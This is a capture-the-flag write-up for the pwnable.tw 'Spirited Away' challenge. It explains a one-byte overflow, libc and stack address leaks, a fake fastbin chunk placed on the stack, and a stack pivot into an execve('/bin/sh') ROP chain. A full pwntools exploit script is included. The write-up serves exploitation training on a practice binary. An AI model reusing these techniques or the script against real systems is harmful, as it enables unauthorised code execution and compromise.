Binary Exploitation [pwnable.tw] - Spirited Away

Challange Description

NameSpirited Away
Points300
Libc2.23
Solves457 times
CategoryExploitation
DescriptionThanks for watching Spirited Away ! Please leave some comments to help us improve our next movie !

Binary Protection

Let’s look at the binary protection

checksec

The PIE and stack canary is disabled this might make libc leaking easier and since the stack check is disabled challenge might have something to do with stack overflow vulnerability.

Challenge Binary

Let’s look at the meat of the application code

Decomplied code

The application takes collects review about the movie in an infinite loop and you can input maximum up to 200 reviews and then the application will exit the loop and terminate.

Challenge Constraints

A couple of fact about the code which will help in exploiting the challenge:

  1. The username buffer is allocated from the heap(size 60 bytes) and the maximum input size to read from this buffer is stored on the stack(with variable name name_len with value 60(bytes).
  2. The comment buffer is on the stack(size 80 bytes) but the buffer size to read from the input is store on the stack which also the same variable name_len which was for the username buffer.
  3. A the end of the loop body username memory chuck is freed, and the beginning of the loop username is allocated again.
  4. The comment buffer is zero-out at the start of each loop. So I guess it will be a bad place to host a shellcode.

Vulnerability

The vulnerability in the application is on line 36, where it is trying to create an output string of the number of reviews received so far. The buffer size of output_str is 56 character and the template string("%d comment so far…") is also 56 bytes. The overflow is not noticeable till we have the number of reviews in 2 digits(since the output_str will also be 56 char). But, when the reviews count is in three digits the output_str array will overflow by one byte and the adjacent variable name_len will be overflow with the last n character of the template string.

The name_len variable which used the value of 60 ( discussed in constraints section) has now changed to 0x6e (char ‘n’), which is a bump of 50 bytes. FYI this is the variable decides the max buffer input of username of size 60 and comment which is size 80. So you can now do out of bounds write to both heap and stack buffer.

The Leak

The stack memory created and destroy whenever a function call is made and it returns respectively and, during a function execution it might put a pointer to other function, data on the stack. The stack memory is reused by next executing function and if that function doesn’t overwrite the stack and can read that data it can leak pointer data to what other functions have written. This attack is vaguely called stack-reuse and one function can influence the execution of other function by this method.

This technique can be used to leak the libc address, when the survey function when it starts executing, it’s stack has fflush function address and if we overwrite just the null-bytes till that address we can leak the libc address as fflush is in the Libc address range.

main function stack during leaking Libc

Similarly, if we go more down in the stack memory there is stack address frame address which we can leak, which is shown in the picture below.

Stack layout while doing stack address leak

Using the fflush function leaked address we calculate the libc base address by subtracting the offset 0x5d39f. The stack address we leak will be used for another attack which I will describe in the coming section.

The Write Primitive

At this stage, we have libc base address, stack address and also we can do stack and heap overflow how do we proceed next? This is going to be a little tricky, this exploit needs meticulously data crafting, so read this section attentively. Adjacent to the comment buffer is the variable which stores the pointer to the username memory chunk return from the heap. We can overflow the comment buffer to overwrite the username pointer variable(which stores heap pointer) value with the address of the fake chuck. Later when the free is done on username ptr (line no 59) the fake chunk will end up in fastbin. Next, when we do the malloc the fake chunk will be returned and we can overwrite that addresses data with anything.

The goal of the fake chunk attack is that we can overwrite the return address of the survey function with the address of the shellcode. So the fake chunk has to be near the end of the stack which will be ebp-0x50 which is the movie_reason buffer. We also need to ensure that the address of the fake-chunk is set to 0x41 so that malloc doesn’t throw any corruption error.

Now when the malloc allocated username buffer we can write up to 110 bytes which is sufficient to do return address overwrite.

Code Execution

Even though we can overwrite the return address the buffer size is not enough to hold the ROP chain data. To overcome this we can pivot the stack to comment buffer since it is large enough to hold the execve ROP chain.

So we need to have multi-stage ROP chain in which the first stage ROP chain will pivot the stack to comment buffer and the comment buffer will hold the execve ROP chain.

Once we have executed the above attack we stop entering more comments and break from the infinite loop which will trigger the ROP and we will get the shell.

ROP chain

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
from pwn import *

libc_bin = './libc_32.so.6'

if args.REMOTE:
io = remote('chall.pwnable.tw', 10204, timeout=3)
else:
io = process('./spirited_away',
env={'LD_PRELOAD': libc_bin}, aslr=True, timeout=1)


# get intro
io.readuntil('our next movie! ')


def add_comment(name, reason, comment, age=10, cont='y'):
io.readuntil('name: ')
if name is not None:
io.send(name)
io.readuntil('age: ')
if age is not None:
io.sendline(str(age))
io.readuntil('movie? ')
io.send(reason)
io.readuntil('comment: ')
if comment is not None:
io.send(comment)
comm_info = io.readuntil('comment? <y/n>: ')
io.send(cont)
return comm_info


def leak_libc():
res = add_comment('AAAA', 'B'*36, 'CCCC')

fflush_addr = u32(res[63:63+4])
log.info('fflush addr : ' + hex(fflush_addr))
ff_offset = 0x5d39f
libc_base = fflush_addr - ff_offset
log.info('Libc Base : ' + hex(libc_base))
return libc_base


def leak_stack():
res = add_comment('AAAA', 'B'*80, 'CCCC')
frame_base = u32(res[107:107+4])
log.info('Prev EBP : ' + hex(frame_base))
log.info('Curr EBP : ' + hex(frame_base - 0x20))
return frame_base - 0x20


def drain_count(till_count, name='AAAA', comment='CCCC'):
for i in range(200):
res = add_comment(name=name, reason='BBBB', comment=comment)
if len(res) > 0:
cnt_idx = res.find(b'comment so far')
if cnt_idx > 0:
res_cnt = res[cnt_idx-4:cnt_idx+14].decode('utf-8')
res_cnt = res_cnt.replace('comment so far', '').strip()
log.info('Reviews Count : ' + res_cnt)
cnt_val = int(res_cnt)
if cnt_val >= till_count:
return
else:
log.info('Invalid idx')
print(res)
else:
log.info('Invalid Response')
print(res)

# ------------ EXPLOIT --------------------

libc_base = leak_libc()
prev_frame_base = leak_stack()

drain_count(10)
drain_count(102, name=None, comment=None)

def rebase(x): return p32(x + libc_base)


def stage_two(frame_base):
log.info('initaiting attack')
comment_offset = 0xa8
reason_offset = 0x50
comment_payload = p32(0) + p32(0x41) + p32(0x41) * (int((80 - 4) / 4))
comment_payload += p32(frame_base - reason_offset + 8)

reason_payload = p32(0) + p32(0x41) + p32(0x41) * (int((80 - 16) / 4))
res = add_comment(name='AAAA',
reason=reason_payload,
comment=comment_payload,
age=None)
print(res)
log.info('Overflow is likely achived')


def stage_exploit(libc_base, frame_base):
# 0xffffddd0
comment_offset = 0xa8
stage1_rop = p8(0x41) * 0x48 + p32(frame_base)
stage1_rop += rebase(0x00023f97) # 0x00023f97: pop eax; ret;
stage1_rop += p32(frame_base - comment_offset)
stage1_rop += rebase(0x001748f8) # 0x001748f8: xchg eax, esp; ret 0;
stage2_rop = get_rop(libc_base)

res = add_comment(name=stage1_rop,
reason='AAA',
comment=stage2_rop,
age=None,
cont='n')
io.interactive()


def get_rop(libc_base_addr):
'''
ROP chain was build using ropper function,
and this code is generated with ropper tool.
'''
rop = b''

rop += rebase(0x00023f97) # 0x00023f97: pop eax; ret;
rop += b'//bi'
rop += rebase(0x00001aa6) # 0x00001aa6: pop edx; ret;
rop += rebase(0x001b0040)
rop += rebase(0x0006b34b) # 0x0006b34b: mov dword ptr [edx], eax; ret;
rop += rebase(0x00023f97) # 0x00023f97: pop eax; ret;
rop += b'n/sh'
rop += rebase(0x00001aa6) # 0x00001aa6: pop edx; ret;
rop += rebase(0x001b0044)
rop += rebase(0x0006b34b) # 0x0006b34b: mov dword ptr [edx], eax; ret;
rop += rebase(0x00023f97) # 0x00023f97: pop eax; ret;
rop += p32(0x00000000)
rop += rebase(0x00001aa6) # 0x00001aa6: pop edx; ret;
rop += rebase(0x001b0048)
rop += rebase(0x0006b34b) # 0x0006b34b: mov dword ptr [edx], eax; ret;
rop += rebase(0x000850f9) # 0x000850f9: pop ebx; ret;
rop += rebase(0x001b0040)
rop += rebase(0x000b3eb7) # 0x000b3eb7: pop ecx; ret;
rop += rebase(0x001b0048)
rop += rebase(0x00001aa6) # 0x00001aa6: pop edx; ret;
rop += rebase(0x001b0048)
rop += rebase(0x00023f97) # 0x00023f97: pop eax; ret;
rop += p32(0x0000000b)
rop += rebase(0x00002c87) # 0x00002c87: int 0x80;
log.info('Payload len ' + str(len(rop)))
return rop

stage_two(prev_frame_base)
stage_exploit(libc_base, prev_frame_base)

Exploit Execution

Conclusion

An interesting one-byte overflow challenge which is then escalated to stack overflow to overwrite the return address. But since it had non-exec stack we have to create ROP but, we again faced and buffer size limitation which couldn’t hold execve ROP. So, we used the stack pivot technique to migrate the ROP chain to another buffer.

Comments

Your browser is out-of-date!

Update your browser to view this website correctly.&npsb;Update my browser now

×